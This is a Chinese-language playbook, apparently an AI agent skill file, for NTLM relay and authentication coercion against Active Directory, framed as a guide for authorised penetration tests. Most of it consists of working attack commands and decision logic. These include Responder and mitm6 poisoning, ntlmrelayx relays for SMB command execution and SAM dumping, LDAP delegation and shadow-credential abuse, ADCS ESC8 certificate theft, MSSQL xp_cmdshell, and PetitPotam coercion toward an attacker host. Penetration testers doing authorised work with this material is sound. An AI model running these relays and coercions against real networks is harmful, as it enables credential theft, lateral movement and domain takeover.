本技能是一份 NTLM 中继与认证强制（NTLM Relay and Authentication Coercion）的专家攻击手册，用于在授权渗透测试中评估 Windows 与 Active Directory 环境的认证安全。
一、用途 该技能用于捕获并中继 NTLM 认证，通过 SMB、LDAP、HTTP 或 MSSQL 等协议实现权限提升。基础模型常忽略签名与 EPA（扩展保护）要求以及跨协议中继的限制，本手册对此进行了系统整理。
二、相关路由 在深入之前，可考虑加载以下相关技能：active-directory-certificate-services（用于 ESC8，中继到 ADCS 注册）、active-directory-acl-abuse（通过 LDAP 中继修改 ACL，如 RBCD、shadow credentials）、active-directory-kerberos-attacks（中继成功后的 Kerberos 攻击）、windows-lateral-movement（中继后的横向移动）。当需要详细的强制认证方法对比（PetitPotam、PrinterBug、DFSCoerce 等）、RPC 函数级细节与前置条件、Coercer 工具使用与发现时，还应加载 COERCION_METHODS.md。
三、NTLM 中继基础 中继流程为：受害者认证（被强制或投毒）→ 攻击者转发认证到目标 → 目标发送挑战 → 攻击者将挑战转发给受害者 → 受害者计算响应 → 攻击者转发响应到目标 → 目标接受，攻击者获得会话。 NTLMv1 与 NTLMv2 对比：NTLMv1 安全性弱（可破解为 NTLM 哈希），NTLMv2 更强但仍可中继；两者均可中继；NTLMv1 可破解为哈希（彩虹表、crack.sh），NTLMv2 仅可离线暴力破解；NTLMv1 可通过 Responder --lm 强制降级，NTLMv2 是现代 Windows 默认。
四、中继目标矩阵 SMB：可获得命令执行（若为管理员）、文件访问；默认签名要求：域控为是，工作站为否；无 EPA/通道绑定。 LDAP：可获得 ACL 修改、RBCD、shadow creds、添加计算机；域控默认不要求签名（协商）；无 EPA（除非配置）。 LDAPS：与 LDAP 相同但加密；签名要求不适用；有通道绑定。 HTTP（ADCS）：可获得证书注册（ESC8）；默认不要求签名；取决于配置。 MSSQL：可获得 SQL 查询、xp_cmdshell；默认不要求签名；无 EPA。 IMAP/SMTP：可获得邮件访问；默认不要求签名；无 EPA。 RPC：可获得多种操作（ESC11 的 CA 注册）；签名要求取决于配置；无 EPA。 签名检查命令：crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt（输出不要求 SMB 签名的主机）；nmap -p 445 --script smb2-security-mode TARGET_RANGE。
五、Responder 凭据捕获 LLMNR/NBT-NS/WPAD/mDNS 投毒：responder -I eth0 -dwP（捕获模式，仅捕获哈希不中继）；responder -I eth0 -A（分析模式，被动不投毒）。投毒协议包括 LLMNR（UDP 5355）、NBT-NS（UDP 137）、WPAD（Web 代理自动发现）、mDNS（UDP 5353）。 Responder 与中继配合：编辑 /etc/responder/Responder.conf，将 HTTP 和 SMB 设为 Off；启动 responder -I eth0 -dwP 仅投毒；启动 ntlmrelayx.py -tf targets.txt -smb2support 进行中继。
六、ntlmrelayx 中继执行 中继到 SMB（管理员执行）：ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"（在目标执行命令，需目标管理员权限）；ntlmrelayx.py -tf targets.txt -smb2support（转储 SAM 哈希）；ntlmrelayx.py -tf targets.txt -smb2support -socks（交互式 SOCKS 代理保持会话），随后 proxychains smbclient //TARGET/C$ -U DOMAIN/user。 中继到 LDAP（ACL 修改）：ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support（自动 RBCD）；ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support（shadow credentials 提权）；ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support（添加计算机账户）；ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain（转储域信息）。 中继到 ADCS HTTP（ESC8）：ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController（配合强制认证中继域控认证以获取域控证书）。 中继到 MSSQL：ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"。
七、mitm6（IPv6 DNS 接管） mitm6 利用 IPv6 自动配置成为 DNS 服务器：mitm6 -d domain.com；与 ntlmrelayx 结合：ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support。流程：mitm6 发送 DHCPv6 回复使受害者将攻击者作为 IPv6 DNS；受害者查询 WPAD，攻击者响应；触发 NTLM 认证并中继到 LDAP；在受害者计算机上设置 RBCD 或 shadow credentials。
八、跨协议中继 SMB → LDAP：捕获 SMB 认证并中继到 LDAP（要求未强制 LDAP 签名）。示例：ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support，并用 PetitPotam.py ATTACKER_IP DC01_IP 触发强制认证。限制：若源使用表明中继的 SMB 签名协商，SMB → LDAP 中继会失败。 WebDAV → LDAP：工作站的 WebDAV 通过 HTTP 发送 NTLM，可中继到 LDAP（无签名问题）。示例：ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support；通过 WebDAV 强制认证（工作站需运行 WebClient 服务），使用 @ATTACKER_PORT 格式强制 WebDAV：PetitPotam.py ATTACKER@80/test WORKSTATION_IP。
九、基于 WebDAV 的强制认证 WebClient 服务（WebDAV）将 SMB 类型的强制认证转换为基于 HTTP 的 NTLM。检查 WebClient 是否运行：crackmapexec smb TARGET -u user -p pass -M webdav。从工作站（非服务器）启动 WebDAV 强制认证，强制目标通过 HTTP 认证，使用 UNC 路径格式 \ATTACKER@PORT\share。关键优势：基于 HTTP 的 NTLM 避免 SMB 签名要求。
十、NTLM 中继决策树 想要中继 NTLM 认证时：
- 可捕获何种认证？Responder 投毒（被动等待查询）、mitm6（DHCPv6 DNS 接管，周期性）、主动强制认证（加载 COERCION_METHODS.md）。
- 中继到何目标？需要代码执行：SMB 目标无签名 → ntlmrelayx 到 SMB；MSSQL 目标 → ntlmrelayx 到 MSSQL + xp_cmdshell。需要域提权：LDAP 未强制签名 → 中继到 LDAP 实现 RBCD、shadow credentials、添加计算机并委派；LDAP 强制签名 → 中继到 ADCS HTTP（ESC8）获取证书。需要证书 → 中继到 ADCS HTTP/RPC 实现 ESC8/ESC11。
- 源为 SMB？目标为 SMB → 检查签名；目标为 LDAP → 可能可行（跨协议）；目标为 HTTP → 可行（跨协议）。
- 源为 HTTP（WebDAV）？可中继到任意目标（无签名问题）。
- 中继失败？检查签名要求、检查 EPA/通道绑定、尝试跨协议（SMB → LDAP）、尝试 WebDAV 强制认证（避免 SMB 签名）。
十一、适用场景与限制 适用场景：授权渗透测试中评估 Active Directory 环境的 NTLM 认证配置、SMB/LDAP 签名策略、EPA/通道绑定设置以及强制认证暴露面。 限制：中继成功与否取决于目标协议的签名与 EPA/通道绑定配置；SMB → LDAP 中继可能因签名协商而失败；WebDAV 强制认证要求工作站运行 WebClient 服务；中继到 SMB 执行命令需要目标管理员权限。本手册未提供具体收费、价格或平台信息。